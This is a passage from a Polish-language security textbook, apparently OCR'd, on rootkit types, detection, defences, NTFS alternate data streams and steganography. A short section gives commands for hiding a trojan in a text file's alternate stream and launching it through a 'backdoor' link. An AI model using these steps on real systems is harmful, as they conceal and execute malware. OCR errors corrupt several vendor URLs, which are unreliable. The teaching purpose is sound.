uzytkownik wtaczy uprawnienia administratora, rootkit moze prébowac¢ ukry¢ slady
nieautoryzowanego dostepu, modyfikujgc sterowniki lub moduty jadra i odrzucajgc aktywne procesy.
Rootkity zastepujg niektére wywotania i narzedzia systemu operacyjnego wtasnymi zmodyfikowanymi
wersjami tych procedur, ktére z kolei podwazajg bezpieczeristwo docelowego systemu poprzez
wykonywanie ztosliwych funkcji. Typowy rootkit obejmuje programy typu backdoor, programy DDoS,
sniffery pakietdw, narzedzia do czyszczenia dziennikdw, boty IRC i inne. Wszystkie pliki zawierajg
zestaw atrybutdw. W atrybutach pliku znajduja sie rézne pola. Pierwsze pole okresla format pliku, jesli
jest to plik ukryty, archiwalny lub tylko do odczytu. Drugie pole opisuje czas utworzenia pliku, dostep
do niego oraz jego pierwotng dtugos¢. Funkcje GetFileAttributesExAQ i GetFileInformationByHandleQ
sg wykorzystywane do wyzej wymienionych celéw. ATTRIB.exe wyswietla lub zmienia atrybuty plikéw.
Osoba atakujgca moze ukry¢ lub nawet zmieni¢ atrybuty plikdw ofiary, aby osoba atakujgca miata do
nich dostep.

Atakujgcy umieszcza rootkita obok

* Skanowania w poszukiwaniu wrazliwych komputerdw i serweréw w sieci

*Pakowania rootkita w specjalne opakowanie, takie jak gra

* Instalowanie go na komputerach publicznych lub firmowych za pomoca socjotechniki

* Przeprowadzenie ataku zero-day (eskalacja uprawnien, wykorzystanie jgdra systemu Windows itp.)
Cele rootkita:

*Aby zrootowad system hosta i uzyskac zdalny dostep do backdoora



*Aby zamaskowac $lady atakujgcego i obecnos¢ ztosliwych aplikacji lub proceséw

* Aby zebra¢ poufne dane, ruch sieciowy itp. z systemu, do ktérego osoby atakujgce mogg byc
ograniczone lub nie majg dostepu

*Aby przechowywac inne ztosliwe programy w systemie i dziata¢ jako zaséb serwera dla aktualizacji
botéw

Rodzaje rootkitéow

Rootkity wykorzystujg szereg technik w celu przejecia kontroli nad systemem. Rodzaj rootkita wptywa
na wybor wektoréw ataku. Dostepnych jest sze$¢ typow rootkitow:

Rootkit na poziomie hiperwizora: osoby atakujgce tworzg rootkity na poziomie hiperwizora,
wykorzystujgc funkcje sprzetowe, takie jak Intel VT i AMD-V. Te rootkity dziatajg w Ring-1 i hostujg
system operacyjny docelowej maszyny jako maszyne wirtualng, przechwytujgc w ten sposdb wszystkie
wywotania sprzetowe wykonane przez docelowy system operacyjny. Ten rodzaj rootkita dziata poprzez
modyfikacje sekwencji startowej systemu, tak aby byt tadowany zamiast oryginalnego monitora
maszyny wirtualne;j.

Sprzetowy/firmware rootkit: rootkity sprzetowe/firmware wykorzystujg oprogramowanie uktadowe
urzadzen lub platformy do tworzenia trwatego obrazu ztosliwego oprogramowania na sprzecie, takim
jak dysk twardy, system BIOS lub karta sieciowa. Rootkit ukrywa sie w oprogramowaniu sprzetowym,
poniewaz uzytkownicy nie sprawdzaja go pod katem integralnosci kodu. Rootkit oprogramowania
uktadowego oznacza uzycie trwatego ztudzenia ztosliwego oprogramowania typu rootkit.

Rootkit na poziomie jgdra: Jadro jest rdzeniem systemu operacyjnego. Rootkit na poziomie jgdra dziata
w Ring-0 z najwyzszymi uprawnieniami systemu operacyjnego. Obejmujg one backdoory na
komputerze i sg tworzone przez napisanie dodatkowego kodu lub zastgpienie czesci kodu jadra
zmodyfikowanym kodem za posrednictwem sterownikéw urzadzen w systemie Windows lub
tadowalnych modutéw jadra w systemie Linux. Jesli kod zestawu zawiera btedy lub btedy, rootkity na
poziomie jgdra wplywajg na stabilnos¢ systemu. Majg one takie same uprawnienia jak system
operacyjny; w zwigzku z tym sg trudne do wykrycia i mogg przechwyci¢ lub ostabié¢ dziatanie systemu
operacyjnego.

Boot-Loader-Level Rootkit: rootkity na poziomie programu fadujgcego (bootkity) dziatajg poprzez
modyfikacje legalnego programu tadujgcego lub zastgpienie go innym. Bootkit moze sie aktywowac
nawet przed uruchomieniem systemu operacyjnego. Dlatego bootkity stanowig powazne zagrozenie
dla bezpieczenstwa, poniewaz utatwiajg tamanie kluczy szyfrujgcych i haset.

e Rootkit na poziomie aplikacji/w trybie uzytkownika: Rootkit na poziomie aplikacji/w trybie
uzytkownika dziata w Ring-3 jako uzytkownik wraz z innymi aplikacjami w systemie. Wykorzystuje
standardowe zachowanie interfejséw API. Dziata wewnatrz komputera ofiary, zastepujac standardowe
pliki aplikacji (pliki binarne aplikacji) rootkitami lub modyfikujgc zachowanie obecnych aplikacji za
pomoca fat, wstrzykiwanych ztosliwych kodow itp.

Rootkity na poziomie bibliotek: Rootkity na poziomie bibliotek dziatajg wysoko w systemie
operacyjnym i zwykle tatajg, przechwytujg lub zastepujg wywotania systemowe wersjami backdoora,
aby atakujacy byt nieznany. Zastepujg oryginalne wywotania systemowe fatszywymi, aby ukryé
informacje o atakujgcym.

Jak dziata rootkit



Zahaczanie systemu to proces zmiany i zastgpienia oryginalnego wskaznika funkcji wskaznikiem
dostarczonym przez rootkita w trybie ukrytym. Przechwytywanie funkcji w wierszu to technika, w
ktérej rootkit zmienia niektére bajty funkcji w podstawowych systemowych bibliotekach DLL
(kernel32.dll i ntdll.dll), umieszczajac instrukcje w taki sposéb, aby wywotania proceséw docieraty
najpierw do rootkita. Programy typu rootkit do bezposredniej manipulacji obiektami jagdra (DKOM)
mog3 lokalizowad proces ,systemowy” w strukturach pamieci jadra i manipulowaé nim oraz tatac go.
Moze to réwniez bez problemu ukrywaé procesy i porty, zmienia¢ uprawnienia i wprowadzaé¢ w btad
przeglagdarke zdarzen systemu Windows, manipulujgc listg aktywnych proceséw systemu
operacyjnego, zmieniajagc w ten sposdb dane wewnatrz struktur identyfikatoréw proceséw. Moze
uzyska¢ dostep do odczytu/zapisu do obiektu \Device\Physical Memory. Ukrywa proces poprzez
odtgczenie go od listy proceséw.

Popularne rootkity
Oto niektére z najpopularniejszych rootkitow:
Rootkit Purple Fox

Rootkit Purple Fox umozliwia atakujgcym ukrywanie ztosliwego oprogramowania na docelowych
urzadzeniach, utrudniajgc rozwigzaniom zabezpieczajgcym wykrycie i usuniecie ztosliwego
oprogramowania. Jest to wyrafinowany atak ztosliwego oprogramowania, ktdérego celem sg
komputery z systemem Windows i rozprzestrzenianie infekcji z jednej maszyny na drugg. Rootkit
Purple Fox moze by¢ dystrybuowany za posrednictwem fatszywego ztosliwego instalatora Telegrama.
Zaréwno 32-bitowa, jak i 64-bitowa wersja trojana Purple Fox dla systemu Windows moze stuzy¢ do
ukrywania sie w systemie i utrzymywania trwatosci. Operacje wykonywane przez rootkita Purple Fox
sg nastepujace:

o Gtéwnym celem szkodliwego oprogramowania jest zdobycie przyczétka na docelowych komputerach
z systemem Windows.

o Kazdy etap tego ataku jest izolowany w srodowisku, co pomaga atakujgcemu w uniknieciu wykrycia.

o Plik ,Telegram Desktop.exe” stuzy do ukrycia Purple Fox, ktory jest zautomatyzowanym skryptem
instalujgcym zaréwno oryginalng instancje Telegrama, jak i zto$liwy program do pobierania o nazwie
,Textlnputh.exe”.

o, TextInputh.exe” to najpopularniejszy instalator zto$liwego oprogramowania. Po wykonaniu tgczy sie
ze swoim serwerem dowodzenia i kontroli (C2).

o Ten rootkit zapewnia dostep do systemu docelowego za posrednictwem backdoora, umozliwiajgc
atakujgcym wykonywanie bardziej szkodliwych dziatan.

MoonBounce

MoonBounce to ztosliwy kod ukryty w oprogramowaniu uktadowym UEFI w pamieci flash SPI, ktéry
ma zostaé¢ wykonany w okreslonym czasie. Systemy bezpieczernstwa majg ograniczong $wiadomosé
takich implantéw; dlatego s trudne do wykrycia i usuniecia. MoonBounce ma ztozony przebieg ataku,
ktory jest zauwazalnie lepszy niz wczesniej znane bootkity oprogramowania uktadowego UEFI. Celem
MoonBounce jest wstrzykniecie ztosliwego sterownika do jadra systemu Windows podczas procesu
uruchamiania, zapewniajgc atakujagcym maksymalng trwatos¢. Moze przyspieszyé transmisje
ztosliwego oprogramowania w trybie uzytkownika, ktére uruchamia dodatkowe tadunki pobierane z
Internetu. Jest Zrodtem niepokoju dla specjalistéw w dziedzinie bezpieczeristwa cyfrowego, poniewaz
dotyczy partycji systemowej EFI (ESP).



Nazwany rootkitem Demodex

Rootkit Demodex jest niezwykle wyrafinowany i umozliwia atakujgcym zachowanie dostepu do
urzadzenia ofiary nawet po ponownej instalacji systemu operacyjnego. Rootkit Demodex dziata jako
backdoor utrzymujacy trwatosé na zaatakowanych urzadzeniach. Gtéwnym celem tego rootkita jest
ukrywanie odciskow palcéw szkodliwego oprogramowania, takich jak jego pliki, klucze rejestru i ruch
sieciowy przed sledczymi i systemami zapobiegawczymi. Rootkit Demodex ma nastepujace cechy:

o Zawiera projekt open source o nazwie Cheat Engine, ktdry pomaga uzytkownikom unikngé¢ wykrycia.

o Pomija funkcje zabezpieczen i mechanizmy wymuszania podpiséw sterownikdw w systemie
Windows.

0 Zapobiega tadowaniu niepodpisanych sterownikéw urzadzen.
Ponizej przedstawiono inne popularne rootkity:

Moriya

iLOBleed

Netfilter

Skidmap

Wykrywanie rootkitow

WidzieliSmy, jak osoby atakujgce wykorzystujg rézne rootkity do ukrywania plikéw i ich obecnosci w
systemie docelowym. Omoéwmy teraz rdine metody wykrywania rootkitow z perspektywy
bezpieczenstwa. Ogdlnie rzecz biorgc, techniki wykrywania rootkitéw mozna podzieli¢ na oparte na
sygnaturach, heurystyczne, oparte na integralnosci, oparte na widokach krzyzowych oraz profilowanie
Sciezki wykonania w czasie wykonywania.

Wykrywanie oparte na integralnosci

Wykrywanie oparte na integralnosci mozna uznaé za substytut wykrywania opartego na sygnaturach i
heurystyce. Poczatkowo uzytkownik uruchamia narzedzia takie jak Tripware i AIDE w czystym systemie.
Narzedzia te tworzg linie bazowg czystych plikow systemowych i przechowujg je w bazie danych.
Funkcje wykrywania oparte na integralnosci poprzez poréwnanie biezgcego systemu plikow, rekordow
rozruchowych lub migawki pamieci z tg zaufang linig bazowa. Wykrywajg dowody lub obecnos¢
ztosliwej aktywnosci na podstawie réznic miedzy migawkami biezgcymi i bazowymi.

Wykrywanie oparte na sygnaturach

Metody wykrywania oparte na sygnaturach dziatajg jak odciski palcéw rootkitdw. Pordwnujg
charakterystyke wszystkich proceséw systemowych i plikdw wykonywalnych z bazg danych znanych
odciskéw palcéw rootkitéw. Moze poréwnywaé sekwencje bajtow z pliku z inng sekwencjg bajtow
nalezgcych do szkodliwego programu. Ta metoda gtdwnie skanuje pliki systemowe. Moze fatwo wykry¢
niewidoczne rootkity, skanujgc pamiec jadra. Skutecznos¢ wykrywania opartego na sygnaturach jest
mniejsza ze wzgledu na tendencje rootkita do ukrywania plikbw poprzez przerywanie S$ciezki
wykonywania oprogramowania wykrywajacego.

Wykrywanie heurystyczne/oparte na zachowaniu

Wykrywanie oparte na heurystyce polega na identyfikowaniu odchylen w normalnych wzorcach lub
zachowaniach systemu operacyjnego. Ten typ wykrywania jest réwniez znany jako wykrywanie



behawioralne. Wykrywanie heurystyczne moze identyfikowa¢ nowe, wczesniej niezidentyfikowane
rootkity poprzez rozpoznawanie odchyled w ,normalnych” wzorcach lub zachowaniach systemu.
Przechwytywanie sciezki wykonania jest jednym z takich dewiantéw, ktére pomagajg detektorom
opartym na heurystyce identyfikowad rootkity.

Profilowanie sciezki wykonania w czasie wykonywania

Technika profilowania Sciezki wykonania w czasie wykonywania poréwnuje profilowanie sciezki
wykonania w czasie wykonywania wszystkich procesow systemowych i plikéw wykonywalnych. Rootkit
dodaje nowy kod w poblizu sciezki wykonywania procedury, aby jg zdestabilizowa¢. Metoda
przechwytuje kilka instrukcji wykonanych przed i po okreslonej procedurze, poniewaz mogg sie one
znacznie réznic.

Wykrywanie oparte na widoku krzyzowym

Techniki wykrywania oparte na widokach krzyzowych dziatajg przy zatozeniu, ze system operacyjny
zostat w pewnym sensie obalony. Ta technika wylicza pliki systemowe, procesy i klucze rejestru,
wywotujac wspdlne interfejsy API. Narzedzia pordwnujg zebrane informacje ze zbiorem danych
uzyskanym za pomoca algorytmu do przegladania tych samych danych. Ta technika wykrywania opiera
sie na fakcie, ze przechwytywanie APl lub manipulowanie strukturg danych jgdra powoduje, ze dane
zwracane przez interfejsy APl systemu operacyjnego sg skazone mechanizmami niskiego poziomu
uzywanymi do wyprowadzania tych samych informacji bez manipulacji DKOM lub przechwytywania.

Alternatywny zaufany nosnik

Technika alternatywnego zaufanego medium jest najbardziej niezawodng metodg stosowang do
wykrywania rootkitdéw na poziomie systemu operacyjnego. W tej technice zainfekowany system jest
zamykany, a nastepnie uruchamiany z alternatywnego zaufanego nosnika, takiego jak rozruchowy dysk
CD-ROM lub dysk flash USB. Po uruchomieniu system operacyjny jest sprawdzany w celu znalezienia
Sladow rootkita, ktdre mozna nastepnie usungé, aby przywrdcic¢ system do normalnego stanu.

Analiza zrzutéw pamieci

Podczas analizy zrzutu pamieci pamiec ulotna (RAM) podejrzanego systemu jest zrzucana i analizowana
w celu wykrycia rootkita w systemie. Korzystajac z tej techniki, mozna utworzy¢ statyczng migawke
pojedynczego procesu, jadra systemu lub catego systemu. Aby wykry¢ rootkita, cata pamiec¢ systemowa
jest zrzucana w celu przeanalizowania i przechwycenia aktywnych rootkitéw. Ten zrzut pamieci moze
by¢ dalej uzywany do przeprowadzania analizy kryminalistycznej w trybie offline. Tworzenie zrzutéw
pamieci moze wymagac specjalistycznego sprzetu.

Kroki wykrywania rootkitow

Na rynku dostepnych jest wiele narzedzi, za pomocg ktérych mozna wykry¢ obecnos¢ rootkitéw w
docelowym systemie. Czasami jednak narzedzia sg niewystarczajgce, poniewaz tworcy ztosliwego
oprogramowania zawsze znajdujg sposoby na przeciwdziatanie tym zautomatyzowanym
wykrywaczom rootkitow, a niektére z ich ostatnich wysitkéw sg nawet w stanie ich unikngé. Dlatego
lepiej jest recznie wykry¢ rootkita. Reczne wykrywanie rootkitdw wymaga czasu, cierpliwosci,
wytrwatosci i wiedzy. Recznie sprawdz system plikdw i rejestr systemu, aby wykry¢ rootkity.

Kroki wykrywania rootkitdw poprzez badanie systemu plikdw s3 nastepujace.

1. Uruchom "dir /s /b /ah" i "dir /s /b /a-h" w potencjalnie zainfekowanym systemie operacyjnym i
zapisz wyniki.



2. Uruchom czysty dysk CD, uruchom polecenia ,dir /s /b /ah” i ,dir /s /b /a-h” na tym samym dysku i
zapisz uzyskane wyniki.

3. Uruchom najnowszg wersje narzedzia WinMerge na dwdch zestawach wynikéw, aby wykryé
oprogramowanie-widmo ukrywajace pliki (tj. niewidoczne w $rodku, ale widoczne z zewnatrz).

Kroki wykrywania rootkitdw poprzez badanie rejestru sg nastepujace.
1. Uruchom regedit.exe z potencjalnie zainfekowanego systemu operacyjnego.

2. Wyeksportuj gatezie HKEY_LOCAL_MACHINE\SOFTWARE i HKEY_LOCAL_MACHINE\SYSTEM w
formacie pliku tekstowego.

3. Uruchom czysty dysk CD (taki jak WinPE).
4. Uruchom regedit.exe.
5. Utwdrz nowy klucz, na przyktad HKEY_LOCAL_MACHINE\Temp.

6. Zataduj gatezie rejestru o nazwie Software i System z podejrzanego systemu operacyjnego.
Domyslng lokalizacja bedzie c:\windows\system32\config\software i
c:\windows\system32\config\system.

7. Wyeksportuj te gatezie rejestru w formacie pliku tekstowego. (Gale rejestru sg przechowywane w
formacie binarnym, a kroki 6 i 7 konwertujg pliki na tekst).

8. Uruchom narzedzie WinMerge z ptyty CD i poréwnaj dwa zestawy wynikow, aby wykry¢ ztosliwe
oprogramowanie ukrywajgce pliki (tzn. niewidoczne w srodku, ale widoczne z zewnatrz).

Uwaga: mogga wystgpié fatszywe alarmy. Ponadto nie wykrywa oprogramowania stealth, ktére ukrywa
sie w systemie BIOS, pamieci EEPROM karty graficznej, uszkodzonych sektorach dysku, alternatywnych
strumieniach danych (ADS) itp.

Jak bronic sie przed rootkitami

Wspdlng cecha rootkitéw jest to, ze osoba atakujgca wymaga dostepu administratora do systemu
docelowego. Poczgtkowy atak, ktéry prowadzi do tego dostepu, jest czesto hatasliwy. Dlatego nalezy
monitorowac nadmiar ruchu w sieci, ktéry pojawia sie po wykryciu nowego exploita. Analiza logéw jest
waznym elementem zarzadzania ryzykiem. Atakujgcy moze mieé skrypty powtoki lub narzedzia, ktore
moga pomaoc mu zatrzec $lady, ale prawie na pewno bedg istniaty inne wskazniki, ktére moga pomadc
w wykonaniu proaktywnych srodkéw zaradczych, a nie tylko reaktywnych. Reaktywnym srodkiem
zaradczym jest utworzenie kopii zapasowej wszystkich krytycznych danych, z wyfgczeniem plikéw
binarnych, oraz wykonanie nowej, czystej instalacji z zaufanego zrédfa. Mozna wykonaé¢ sume
kontrolng kodu jako dobrg obrone przed narzedziami takimi jak rootkity. MD5sum.exe moze pobierac
odciski palcéw plikéw i odnotowywac naruszenia integralnosci w przypadku wystgpienia zmian. Aby
chroni¢ sie przed rootkitami, nalezy uzywaé programéw sprawdzajacych integralnos¢ krytycznych
plikdw systemowych. Oto kilka technik przyjetych w celu obrony przed rootkitami:

e Zainstaluj ponownie system operacyjny/aplikacje z zaufanego zrédta po utworzeniu kopii zapasowej
krytycznych danych.

*Przestrzegaj dobrze udokumentowanych automatycznych procedur instalacyjnych.
e Wykonaj analize zrzutu pamieci jadra, aby okresli¢ obecnos$é rootkitow.

® Zabezpiecz stacje roboczg lub serwer przed atakiem.



e Przeszkol personel, aby unikat pobierania jakichkolwiek plikdéw/programoéw z niezaufanych zrédet.
eZainstaluj zapory sieciowe i oparte na hoscie oraz czesto sprawdzaj dostepnos¢ aktualizacji.
eZapewnij dostepnos¢ zaufanych nosnikdow przywracania.

e Aktualizuj i fataj systemy operacyjne, aplikacje i oprogramowanie sprzetowe.

eRegularnie weryfikuj integralnos¢ plikow systemowych, korzystajac z technologii cyfrowego odcisku
palca o silnych wtasciwosciach kryptograficznych.

eRegularnie aktualizuj oprogramowanie antywirusowe i antyszpiegowskie.

e Aktualizuj sygnatury chronigce przed ztosliwym oprogramowaniem.

eUnikaj logowania na konto z uprawnieniami administratora.

*Przestrzegaj zasady najmniejszych przywilejéw.

eUpewnij sie, ze wybrane oprogramowanie antywirusowe posiada ochrone przed rootkitami.
eUnikaj instalowania niepotrzebnych aplikacji i wytaczaj nieuzywane funkcje i ustugi.

* Powstrzymaj sie od angazowania sie w niebezpieczne dziatania w Internecie.

eZamknij wszystkie nieuzywane porty.

eOkresowo skanuj system lokalny za pomoca skaneréw bezpieczenstwa opartych na hoscie.

eZwieksz bezpieczestwo systemu za pomocg uwierzytelniania dwuetapowego lub wieloetapowego,
aby osoba atakujgca nie mogta uzyskaé dostepu administratora do systemu w celu zainstalowania
rootkitow.

eNigdy nie czytaj wiadomosci e-mail, nie przegladaj stron internetowych ani nie otwieraj dokumentéw
podczas obstugi aktywnej sesji ze zdalnym serwerem.

e Korzystaj z narzedzi do zarzadzania konfiguracjg i wykrywania luk w zabezpieczeniach, aby
weryfikowaé skuteczne wdrazanie aktualizacji.

eZastosuj oprogramowanie do filtrowania ruchu w celu wykrywania i blokowania ztosliwego ruchu
przychodzgcego do sieci.

eKorzystaj z programoéw antywirusowych nowej generacji z funkcjami wykrywania anomalii opartymi
na uczeniu maszynowym i heurystyki behawioralne;j.

¢ Przed zainstalowaniem jakiegokolwiek oprogramowania doktadnie przeczytaj instrukcje zawarte w
umowie licencyjnej uzytkownika koricowego (EULA).

eUnikaj surfowania po Internecie bedac zalogowanym na koncie administratora.

*\Wymus ochrone przed zapisem na ptycie gtdwnej, aby zapobiec zainfekowaniu systemu BIOS przez
rootkita.

Anty-rootkity

Nastepujgce programy antyrootkitowe mogg stuzy¢ do usuwania réznego rodzaju ztosliwego
oprogramowania, takiego jak rootkity, wirusy, trojany i robaki z systemu. Mozesz pobraé lub kupié



oprogramowanie anty-rootkitowe z ich witryn internetowych i zainstalowac je na swoim komputerze,
aby uzyskaé ochrone przed ztosliwym oprogramowaniem, zwtaszcza przed rootkitami.

GMER

GMER to aplikacja, ktdra pomaga specjalistom ds. hakowania

Ponizej wymieniono kilka wazniejszych programoéw antyrootkitowych.
Stingera (https://www.mcofee.com)

Avast One (https://www.ovost.com)

TDSSKiller (https://uso.kospersky.com)

Malwarebytes Anti-Rootkit (https://www.molworebytes.com)
Pogromca rootkitéw ( http://www.trendmicro.co.in )

Strumien danych NTFS

NTFS to system plikéw, ktéry przechowuje plik za pomocg dwdch strumieni danych, zwanych
strumieniami danych NTFS, wraz z atrybutami plikéw. Pierwszy strumien danych przechowuje
deskryptor bezpieczenstwa pliku, ktéry ma by¢ przechowywany, taki jak uprawnienia, a drugi
przechowuje dane w pliku. ADS to inny typ nazwanego strumienia danych, ktéry moze byé obecny w
kazdym pliku.

ADS odnosi sie do dowolnego typu danych dotaczonych do pliku, ale nie w pliku w systemie NTFS.
Gtéwna tabela plikdow partycji zawiera liste wszystkich strumieni danych zawartych w pliku oraz ich
fizyczng lokalizacje na dysku. Dlatego ADS nie sg obecne w pliku, ale sg dotagczone do niego za
posrednictwem tabeli plikdw. NTFS ADS to ukryty strumien systemu Windows, ktéry zawiera metadane
pliku, takie jak atrybuty, liczba stéw, nazwisko autora oraz czasy dostepu i modyfikacji plikéw. ADS
moga forkowa¢ dane do istniejgcych plikdéw bez zmiany lub zmiany ich funkcjonalnosci, rozmiaru lub
wyswietlania narzedzi do przegladania plikdw. Umozliwiajg atakujgcemu wstrzykniecie ztosliwego
kodu do plikdbw w dostepnym systemie i wykonanie go bez wykrycia przez uzytkownika. ADS
zapewniajg atakujgcym metode ukrywania rootkitéw lub narzedzi hakerskich w zaatakowanym
systemie i pozwalajg uzytkownikowi na ich wykonanie, ukrywajac sie przed administratorem systemu.
Pliki z ADS sg niemozliwe do wykrycia przy uzyciu natywnych technik przegladania plikdw, takich jak
wiersz polecen lub Eksplorator Windows. Po dofgczeniu pliku ADS do oryginalnego pliku rozmiar
oryginalnego pliku nie zmienia sie. Jedyng wskazéwka, ze plik zostat zmieniony, jest znacznik czasu
modyfikacji, ktéry moze by¢ nieszkodliwy.

Jak tworzy¢ strumienie NTFS

Wykorzystujgc strumienie danych NTFS, osoba atakujgca moze prawie catkowicie ukry¢ pliki w
systemie. Korzystanie ze strumieni jest tatwe, ale uzytkownik moze je zidentyfikowaé tylko za pomoca
okreslonego oprogramowania. Eksplorator moze wyswietla¢ tylko pliki gtéwne; nie moze przegladaé
strumieni potgczonych z plikami gtéwnymi i nie moze definiowaé¢ miejsca na dysku uzywanego przez
strumienie. W zwigzku z tym, jesli wirus wszczepi sie w ADS, jest mato prawdopodobne, ze
standardowe oprogramowanie zabezpieczajgce go zidentyfikuje. Gdy uzytkownik czyta lub zapisuje
plik, domyslnie manipuluje gtéwnym strumieniem danych. Teraz zbadamy, jak utworzyé ADS dla pliku.
ADS sg zgodne ze sktadnig:

,nhazwa pliku.roz.:nazwa alternatywna”.



Kroki tworzenia strumieni NTFS:

1. Uruchom c:\>notepad myfile.txt:lion.txt i kliknij , Tak”, aby utworzyé nowy plik, wprowadz dane i
zapisz plik

2. Uruchom c:\>notepad myfile.txt:tiger.txt i kliknij ,Tak”, aby utworzyé nowy plik, wprowadz dane i
zapisz plik

3. Wyswietl rozmiar pliku myfile.txt (powinien wynosi¢ zero)

4 . Nastepujgce polecenia mogg stuzy¢ do przeglgdania lub modyfikowania danych strumienia ukrytych
odpowiednio w krokach 1i 2:

notepad myfile.txt:lion.txt
notepad myfile.txt:tiger.txt

Uwaga: Notatnik jest aplikacjg zgodng ze strumieniem. Nie nalezy uzywac alternatywnych strumieni
do przechowywania krytycznych informacji.

Manipulacja strumieniem NTFS

Mozesz manipulowacé strumieniami NTFS, aby ukry¢ ztosliwy plik w innych plikach, takich jak pliki
tekstowe, wykonujac nastepujace czynnosci:

Ukrywanie Trojan.exe (ztosliwego programu) w pliku Readme.txt (strumien):

Uzyj nastepujacego polecenia, aby przenies¢ zawartosé¢ pliku Trojan.exe do pliku Readme.txt
(strumien):

c:\>type c:\Trojan.exe >c:\Readme.txt:Trojan.exe

Polecenie ,type” ukrywa plik w alternatywnym strumieniu danych (ADS) za istniejgcym plikiem.
Operator dwukropka (:) wydaje polecenie utworzenia lub uzycia ADS.

Tworzenie tacza do strumienia Trojan.exe w pliku Readme.txt:

Po ukryciu pliku Trojan.exe za plikiem Readme.txt nalezy utworzy¢ odsytacz do uruchomienia pliku
Trojan.exe ze strumienia. Spowoduje to utworzenie skrétu do programu Trojan.exe w strumieniu.

C:\>mklink backdoor.exe Readme.txt:Trojan.exe
Wykonywanie trojana:

Whisz c:\>backdoor, aby uruchomic trojana ukrytego za plikiem Readme.txt. Tutaj backdoor to skrot
utworzony w poprzednim kroku, ktéry po uruchomieniu instaluje trojana.

Uwaga: Uzyj Notatnika, aby przeczytac ukryty plik.

Na przyktad polecenie c:\>notepad sample.txt:secret.txt tworzy strumien secret.txt za plikiem
sample.txt.

Jak broni¢ sie przed strumieniami NTFS
Wykonaj nastepujgce zadania, aby chronié sie przed ztosliwymi strumieniami NTFS:

* Aby usung¢ ukryte strumienie NTFS, przenie$ podejrzane pliki na partycje z tabelg alokacji plikow
(FAT).



* Uzyj narzedzia do sprawdzania integralnosci plikdéw innej firmy, takiego jak Tripwire File Integrity
Manager, aby zachowac integralnosc¢ plikdw partycji NTFS przed nieautoryzowanymi atakami ADS.

* Uzywaj narzedzi innych firm do wyswietlania i manipulowania ukrytymi strumieniami, takimi jak
EventSentry SysAdmin Tools lub adslist.exe.

* Unikaj zapisywania waznych lub krytycznych danych w ADS.
* Korzystaj z aktualnego oprogramowania antywirusowego w systemie.

*Witacz skanowanie antywirusowe w czasie rzeczywistym, aby chronic¢ system przed wykonywaniem
ztosliwych strumieni.

* Uzyj oprogramowania do monitorowania plikdw, takiego jak Stream Detector
(https://www.novirusthanks.org) i GMER (http://www.gmer.net), aby wykry¢ tworzenie dodatkowych
lub nowych strumieni danych.

* Upewnij sie, ze zapora sieciowa jest odpowiednio skonfigurowana do ochrony przed wszelkimi
ztosliwymi strumieniami danych.

* Do obstugi ADS uzyj oprogramowania z funkcjami tworzenia kopii zapasowych, takiego jak Symantec
Backup Exec.

* Monitoruj okreslone uprawnienia potrzebne do odczytu i zapisu rozszerzonych atrybutéw NTFS.

Uzyj oprogramowania LADS (https://www.aldeid.com) jako $rodka zaradczego dla strumieni NTFS.
Najnowsza wersja lads.exe jest oparta na graficznym interfejsie uzytkownika i zgtasza istnienie reklam.
Wyszukuje pojedynczy lub wiele strumieni, zgtasza obecnos¢ ADS i podaje petng sciezke i dtugosé
kazdego znalezionego ADS. Inne sposoby obejmujg skopiowanie pliku oktadki na partycje FAT, a
nastepnie przeniesienie go z powrotem do systemu plikéw NTFS. Poniewaz FAT nie obstuguje ADS,
technika ta skutecznie usuwa je z oryginalnego pliku.

Detektory strumienia NTFS

Na rynku dostepne sg rézne wykrywacze strumieni NTFS. Podejrzane strumienie mozna wykrywa¢ za
pomocg nastepujgcych detektoréw strumieni NTFS. Mozesz pobraé i zainstalowaé te detektory
strumieni z ich stron internetowych.

Stream Armor

Stream Armor to narzedzie stuzgce do wykrywania ukrytych reklam i catkowitego usuwania ich z
systemu. Jego zaawansowana automatyczna analiza w pofaczeniu z mechanizmem weryfikacji
zagrozen online pomaga wyeliminowac wszelkie ADS, ktére moga byé obecne. Niektére dodatkowe
przyktady detektoréw strumieni NTFS s3 wymienione w nastepujacy sposdb:

Stream Detector (https://www.novirusthonks.org)
GMER ( http://www.gmer.net )

ADS Manager ( https://dmitrybront.com)

ADS Scanner ( https://www.pointstone.com)
Streams (https://docs.microsoft.com)

Co to jest steganografia?



Jedng z wad réznych programoéw wykrywajgcych jest ich gtéwny nacisk na strumieniowe przesytanie
danych tekstowych. Co sie stanie, jesli atakujgcy ominie zwykte techniki inwigilacji i nadal kradnie lub
przesyta poufne dane? W typowej sytuacji, po tym jak atakujgcemu uda sie zinfiltrowac firme jako
pracownik tymczasowy lub kontraktowy, potajemnie wyszukuje poufne informacje. Chociaz
organizacja moze mie¢ zasady, ktére nie zezwalajg na wymienny sprzet elektroniczny w obiekcie,
zdeterminowany atakujgcy moze nadal znalez¢ sposoby na obejscie tego za pomocg technik takich jak
steganografia. Steganografia odnosi sie do sztuki ukrywania danych ,za” innymi danymi bez wiedzy
ofiary. W ten sposdb steganografia ukrywa istnienie wiadomosci. Zastepuje bity nieuzywanych danych
zwyktymi plikami, takimi jak grafika, dZwiek, tekst, audio i wideo innymi ukrytymi bitami. Ukryte dane
mogg miec¢ postac zwyktego tekstu lub tekstu zaszyfrowanego, a czasem takze obrazu. Wykorzystanie
obrazu graficznego jako okfadki jest najpopularniejszg metody ukrywania danych w plikach. W
przeciwienstwie do szyfrowania, wykrycie steganografii moze by¢ trudne. Z tego powodu techniki
steganograficzne sg szeroko stosowane w zto$liwych celach. Na przyktad atakujacy mogg ukryé
keyloggera w legalnym obrazie; w ten sposéb, gdy ofiara kliknie obraz, keylogger przechwytuje
nacisniecia klawiszy ofiary. Atakujacy uzywajg réwniez steganografii do ukrywania informacji, gdy
szyfrowanie nie jest mozliwe. Pod wzgledem bezpieczeristwa ukrywa plik w zaszyfrowanym formacie,
wiec nawet jesli atakujgcy go odszyfruje, wiadomosé pozostanie ukryta. Atakujgcy mogg wprowadzac
informacje, takie jak kod Zrédtowy narzedzia hakerskiego, liste zaatakowanych serweréw, plany
przysztych atakow, kanaty komunikacji i koordynacji itp.

Klasyfikacja steganografii

Ze wzgledu na technike steganografie mozna podzieli¢ na dwa obszary: techniczny i jezykowy. W
steganografii technicznej wiadomos¢ jest ukryta za pomoca metod naukowych, podczas gdy w
steganografii lingwistycznej jest ukryta w nosniku, ktéry jest medium uzywanym do komunikacji lub
przesytania wiadomosci lub plikéw. To medium skfada sie z ukrytej wiadomosci, nosnika i klucza
